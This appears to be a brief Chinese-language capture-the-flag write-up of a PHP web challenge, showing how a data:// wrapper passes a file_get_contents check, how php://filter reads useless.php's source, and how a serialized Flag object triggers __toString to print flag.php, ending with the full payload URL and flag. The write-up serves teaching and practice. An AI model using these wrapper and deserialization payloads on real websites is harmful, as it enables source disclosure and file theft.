启动靶机,查看源代码
查询file_get_contents()函数 这里传入的text必须是个文件且文件内容为welcome to the zjctf
这里我们使用data伪协议将内容写入
?text=data://text/plain,welcome to the zjctf
往下看有个正则表达式过滤flag,继续往下
很明显是php的反序列化利用,却没有看到利用类的构造代码,正则过滤了flag.php,我们只能尝试访问useless.php
利用?text=data://text/plain,welcome to the zjctf &file=useless.php
没反应
尝试filter伪协议读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
解码后得到useless.php
到这里逻辑就清晰了,因为反序列化在正则表达式后,我们只需在反序列化时将file值赋为flag.php,再利用__tostring函数在echo时自动调用的特性将flag.php打印出来
构造如下,只需对file变量赋值 得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码发现flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}